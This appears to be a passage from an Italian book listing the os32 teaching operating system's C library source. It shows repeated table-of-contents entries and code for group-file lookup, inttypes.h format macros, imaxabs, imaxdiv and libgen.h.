120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698

120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816

120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.6.1 lib/grp/grent.c

Si veda la sezione 113.52.

```
2660001 #include <grp.h>
2660002 #include <stdio.h>
2660003 #include <string.h>
2660004 #include <stdlib.h>
2660005 //----------------------------------------------------------------------
2660006 static char          buffer[BUFSIZ];
2660007 static struct group  gr;
2660008 static FILE         *fp = NULL;
2660009 //----------------------------------------------------------------------
2660010 struct group *
2660011 getgrent (void)
2660012 {
2660013     void *pstatus;
2660014     char *char_gid;
2660015     int   i;
2660016     //
2660017     if (fp == NULL)
2660018       {
2660019         fp = fopen ("/etc/group", "r");
2660020         if (fp == NULL)
2660021           {
2660022             return NULL;
```

```
2660023             }
2660024         }
2660025     //
2660026     pstatus = fgets (buffer, BUFSIZ, fp);
2660027     if (pstatus == NULL)
2660028       {
2660029         return (NULL);
2660030       }
2660031     //
2660032     // The parse is made with ‘strtok()’. Please notice that
2660033     // ‘strtok()’ will not parse a line like the following:
2660034     //   user::233:
2660035     // The password field *must* have something, otherwise the
2660036     // GID will take the password place.
2660037     // ‘strtok()’ will consider ‘::’ the same as ‘:’!
2660038     //
2660039     gr.gr_name   = strtok (buffer, ":");
2660040     gr.gr_passwd = strtok (NULL, ":");
2660041     char_gid     = strtok (NULL, ":");
2660042     for (i = 0; i < GR_MEM_MAX; i++)
2660043       {
2660044         gr.gr_mem[i] = strtok (NULL, ",\n");
2660045       }
2660046     gr.gr_gid    = (gid_t) atoi (char_gid);
2660047     //
2660048     return (&gr);
2660049 }
2660050 //----------------------------------------------------------------------
2660051 void
2660052 endgrent (void)
2660053 {
2660054     int status;
2660055     //
2660056     if (fp != NULL)
2660057       {
2660058         status = fclose (fp);
2660059         if (status != 0)
2660060           {
2660061             perror (NULL);
2660062             fp = NULL;
2660063           }
2660064       }
2660065 }
2660066 //----------------------------------------------------------------------
2660067 void
2660068 setgrent (void)
2660069 {
2660070     if (fp != NULL)
2660071       {
2660072         rewind (fp);
2660073       }
2660074 }
```

```
2660075 //----------------------------------------------------------------------
2660076 struct group *
2660077 getgrnam (const char *name)
2660078 {
2660079     struct group *gr;
2660080     //
2660081     setgrent ();
2660082     //
2660083     for (;;)
2660084       {
2660085         gr = getgrent ();
2660086         if (gr == NULL)
2660087           {
2660088             return (NULL);
2660089           }
2660090         if (strcmp (gr->gr_name, name) == 0)
2660091           {
2660092             return (gr);
2660093           }
2660094       }
2660095 }
2660096 //----------------------------------------------------------------------
2660097 struct group *
2660098 getgrgid (gid_t gid)
2660099 {
2660100     struct group *gr;
2660101     //
2660102     setgrent ();
2660103     //
2660104     for (;;)
2660105       {
2660106         gr = getgrent ();
2660107         if (gr == NULL)
2660108           {
2660109             return (NULL);
2660110           }
2660111         if (gr->gr_gid == gid)
2660112           {
2660113             return (gr);
2660114           }
2660115       }
2660116 }
```

120.7 os32: «lib/inttypes.h»

Si veda la sezione 116.2.

```
2670001 #ifndef _INTTYPES_H
2670002 #define _INTTYPES_H     1
2670003 //----------------------------------------------------------------------
2670004 #include <stdint.h>
```

```
2670005 #include <wchar_t.h>
2670006 #include <restrict.h>
2670007 //----------------------------------------------------------------------
2670008 typedef struct {
2670009     intmax_t quot;
2670010     intmax_t rem;
2670011 } imaxdiv_t;
2670012 //
2670013 imaxdiv_t imaxdiv (intmax_t numer, intmax_t denom);
2670014 //----------------------------------------------------------------------
2670015 // Output typesetting.
2670016 //----------------------------------------------------------------------
2670017 #define PRId8           "d"
2670018 #define PRId16          "d"
2670019 #define PRId32          "d"
2670020 #define PRId64          "lld"
2670021 //
2670022 #define PRIdLEAST8      "d"
2670023 #define PRIdLEAST16     "d"
2670024 #define PRIdLEAST32     "d"
2670025 #define PRIdLEAST64     "lld"
2670026 //
2670027 #define PRIdFAST8       "d"
2670028 #define PRIdFAST16      "d"
2670029 #define PRIdFAST32      "d"
2670030 #define PRIdFAST64      "lld"
2670031 //
2670032 #define PRIdMAX         "lld"
2670033 #define PRIdPTR         "d"
2670034 //
2670035 #define PRIi8           "i"
2670036 #define PRIi16          "i"
2670037 #define PRIi32          "i"
2670038 #define PRIi64          "lli"
2670039 //
2670040 #define PRIiLEAST8      "i"
2670041 #define PRIiLEAST16     "i"
2670042 #define PRIiLEAST32     "i"
2670043 #define PRIiLEAST64     "lli"
2670044 //
2670045 #define PRIiFAST8       "i"
2670046 #define PRIiFAST16      "i"
2670047 #define PRIiFAST32      "i"
2670048 #define PRIiFAST64      "lli"
2670049 //
2670050 #define PRIiMAX         "lli"
2670051 #define PRIiPTR         "i"
2670052 //
2670053 #define PRIb8           "b"     // PRIb... is not standard!
2670054 #define PRIb16          "b"     //
2670055 #define PRIb32          "b"     //
2670056 #define PRIb64          "llb"   //
```

```
2670057 //                              //
2670058 #define PRIbLEAST8      "b"     //
2670059 #define PRIbLEAST16     "b"     //
2670060 #define PRIbLEAST32     "b"     //
2670061 #define PRIbLEAST64     "llb"   //
2670062 //                              //
2670063 #define PRIbFAST8       "b"     //
2670064 #define PRIbFAST16      "b"     //
2670065 #define PRIbFAST32      "b"     //
2670066 #define PRIbFAST64      "llb"   //
2670067 //                              //
2670068 #define PRIbMAX         "llb"   //
2670069 #define PRIbPTR         "b"     //
2670070 //
2670071 #define PRIo8           "o"
2670072 #define PRIo16          "o"
2670073 #define PRIo32          "o"
2670074 #define PRIo64          "llo"
2670075 //
2670076 #define PRIoLEAST8      "o"
2670077 #define PRIoLEAST16     "o"
2670078 #define PRIoLEAST32     "o"
2670079 #define PRIoLEAST64     "llo"
2670080 //
2670081 #define PRIoFAST8       "o"
2670082 #define PRIoFAST16      "o"
2670083 #define PRIoFAST32      "o"
2670084 #define PRIoFAST64      "llo"
2670085 //
2670086 #define PRIoMAX         "llo"
2670087 #define PRIoPTR         "o"
2670088 //
2670089 #define PRIu8           "u"
2670090 #define PRIu16          "u"
2670091 #define PRIu32          "u"
2670092 #define PRIu64          "llu"
2670093 //
2670094 #define PRIuLEAST8      "u"
2670095 #define PRIuLEAST16     "u"
2670096 #define PRIuLEAST32     "u"
2670097 #define PRIuLEAST64     "llu"
2670098 //
2670099 #define PRIuFAST8       "u"
2670100 #define PRIuFAST16      "u"
2670101 #define PRIuFAST32      "u"
2670102 #define PRIuFAST64      "llu"
2670103 //
2670104 #define PRIuMAX         "llu"
2670105 #define PRIuPTR         "u"
2670106 //
2670107 #define PRIx8           "x"
2670108 #define PRIx16          "x"
```

```
2670109 #define PRIx32          "x"
2670110 #define PRIx64          "llx"
2670111 //
2670112 #define PRIxLEAST8      "x"
2670113 #define PRIxLEAST16     "x"
2670114 #define PRIxLEAST32     "x"
2670115 #define PRIxLEAST64     "llx"
2670116 //
2670117 #define PRIxFAST8       "x"
2670118 #define PRIxFAST16      "x"
2670119 #define PRIxFAST32      "x"
2670120 #define PRIxFAST64      "llx"
2670121 //
2670122 #define PRIxMAX         "llx"
2670123 #define PRIxPTR         "x"
2670124 //
2670125 #define PRIX8           "X"
2670126 #define PRIX16          "X"
2670127 #define PRIX32          "X"
2670128 #define PRIX64          "llX"
2670129 //
2670130 #define PRIXLEAST8      "X"
2670131 #define PRIXLEAST16     "X"
2670132 #define PRIXLEAST32     "X"
2670133 #define PRIXLEAST64     "llX"
2670134 //
2670135 #define PRIXFAST8       "X"
2670136 #define PRIXFAST16      "X"
2670137 #define PRIXFAST32      "X"
2670138 #define PRIXFAST64      "llX"
2670139 //
2670140 #define PRIXMAX         "llX"
2670141 #define PRIXPTR         "X"
2670142 //----------------------------------------------------------------------
2670143 // Input scan and evaluation.
2670144 //----------------------------------------------------------------------
2670145 #define SCNd8           "hhd"
2670146 #define SCNd16          "hd"
2670147 #define SCNd32          "d"
2670148 #define SCNd64          "lld"
2670149 //
2670150 #define SCNdLEAST8      "hhd"
2670151 #define SCNdLEAST16     "hd"
2670152 #define SCNdLEAST32     "d"
2670153 #define SCNdLEAST64     "lld"
2670154 //
2670155 #define SCNdFAST8       "hhd"
2670156 #define SCNdFAST16      "d"
2670157 #define SCNdFAST32      "d"
2670158 #define SCNdFAST64      "lld"
2670159 //
2670160 #define SCNdMAX         "lld"
```

```
2670161 #define SCNdPTR          "d"
2670162 //
2670163 #define SCNi8            "hhi"
2670164 #define SCNi16           "hi"
2670165 #define SCNi32           "i"
2670166 #define SCNi64           "lli"
2670167 //
2670168 #define SCNiLEAST8       "hhi"
2670169 #define SCNiLEAST16      "hi"
2670170 #define SCNiLEAST32      "i"
2670171 #define SCNiLEAST64      "lli"
2670172 //
2670173 #define SCNiFAST8        "hhi"
2670174 #define SCNiFAST16       "i"
2670175 #define SCNiFAST32       "i"
2670176 #define SCNiFAST64       "lli"
2670177 //
2670178 #define SCNiMAX          "lli"
2670179 #define SCNiPTR          "i"
2670180 //
2670181 #define SCNb8            "hhb"   // SCNb... is not standard!
2670182 #define SCNb16           "hb"    //
2670183 #define SCNb32           "b"     //
2670184 #define SCNb64           "llb"   //
2670185 //                               //
2670186 #define SCNbLEAST8       "hhb"   //
2670187 #define SCNbLEAST16      "hb"    //
2670188 #define SCNbLEAST32      "b"     //
2670189 #define SCNbLEAST64      "llb"   //
2670190 //                               //
2670191 #define SCNbFAST8        "hhb"   //
2670192 #define SCNbFAST16       "b"     //
2670193 #define SCNbFAST32       "b"     //
2670194 #define SCNbFAST64       "llb"   //
2670195 //                               //
2670196 #define SCNbMAX          "llb"   //
2670197 #define SCNbPTR          "b"     //
2670198 //
2670199 #define SCNo8            "hho"
2670200 #define SCNo16           "ho"
2670201 #define SCNo32           "o"
2670202 #define SCNo64           "llo"
2670203 //
2670204 #define SCNoLEAST8       "hho"
2670205 #define SCNoLEAST16      "ho"
2670206 #define SCNoLEAST32      "o"
2670207 #define SCNoLEAST64      "llo"
2670208 //
2670209 #define SCNoFAST8        "hho"
2670210 #define SCNoFAST16       "o"
2670211 #define SCNoFAST32       "o"
2670212 #define SCNoFAST64       "llo"
```

```
2670213 //
2670214 #define SCNoMAX         "llo"
2670215 #define SCNoPTR         "o"
2670216 //
2670217 #define SCNu8           "hhu"
2670218 #define SCNu16          "hu"
2670219 #define SCNu32          "u"
2670220 #define SCNu64          "llu"
2670221 //
2670222 #define SCNuLEAST8      "hhu"
2670223 #define SCNuLEAST16     "hu"
2670224 #define SCNuLEAST32     "u"
2670225 #define SCNuLEAST64     "llu"
2670226 //
2670227 #define SCNuFAST8       "hhu"
2670228 #define SCNuFAST16      "u"
2670229 #define SCNuFAST32      "u"
2670230 #define SCNuFAST64      "llu"
2670231 //
2670232 #define SCNuMAX         "llu"
2670233 #define SCNuPTR         "u"
2670234 //
2670235 #define SCNx8           "hhx"
2670236 #define SCNx16          "hx"
2670237 #define SCNx32          "x"
2670238 #define SCNx64          "llx"
2670239 //
2670240 #define SCNxLEAST8      "hhx"
2670241 #define SCNxLEAST16     "hx"
2670242 #define SCNxLEAST32     "x"
2670243 #define SCNxLEAST64     "llx"
2670244 //
2670245 #define SCNxFAST8       "hhx"
2670246 #define SCNxFAST16      "x"
2670247 #define SCNxFAST32      "x"
2670248 #define SCNxFAST64      "llx"
2670249 //
2670250 #define SCNxMAX         "llx"
2670251 #define SCNxPTR         "x"
2670252 //----------------------------------------------------------------------
2670253 intmax_t  imaxabs    (intmax_t j);
2670254 intmax_t  strtoimax  (const char *restrict nptr,
2670255                       char **restrict endptr, int base);
2670256 uintmax_t strtouimax (const char *restrict nptr,
2670257                       char **restrict endptr, int base);
2670258 intmax_t  wcstoimax  (const wchar_t *restrict nptr,
2670259                       wchar_t **restrict endptr, int base);
2670260 uintmax_t wcstouimax (const wchar_t *restrict nptr,
2670261                       wchar_t **restrict endptr, int base);
2670262 //----------------------------------------------------------------------
2670263 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586

120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662

120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796

120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824

120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.7.1 lib/inttypes/imaxabs.c

Si veda la sezione 113.3.

```
2680001 #include <inttypes.h>
2680002 //----------------------------------------------------------------------
2680003 intmax_t
2680004 imaxabs (intmax_t j)
2680005 {
2680006     if (j < 0)
2680007       {
2680008         return -j;
2680009       }
2680010     else
2680011       {
2680012         return j;
2680013       }
2680014 }
```

120.7.2 lib/inttypes/imaxdiv.c

Si veda la sezione 113.16.

```
2690001 #include <inttypes.h>
2690002 //----------------------------------------------------------------------
2690003 imaxdiv_t
2690004 imaxdiv (intmax_t numer, intmax_t denom)
2690005 {
2690006     imaxdiv_t d;
2690007     d.quot = numer / denom;
2690008     d.rem = numer % denom;
2690009     return d;
2690010 }
```

120.8 os32: «lib/libgen.h»

Si veda la sezione 116.2.

```
2700001 #ifndef _LIBGEN_H
2700002 #define _LIBGEN_H       1
2700003
2700004 //----------------------------------------------------------------------
2700005 char *basename (char *path);
2700006 char *dirname  (char *path);
2700007 //----------------------------------------------------------------------
2700008
2700009 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484

120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

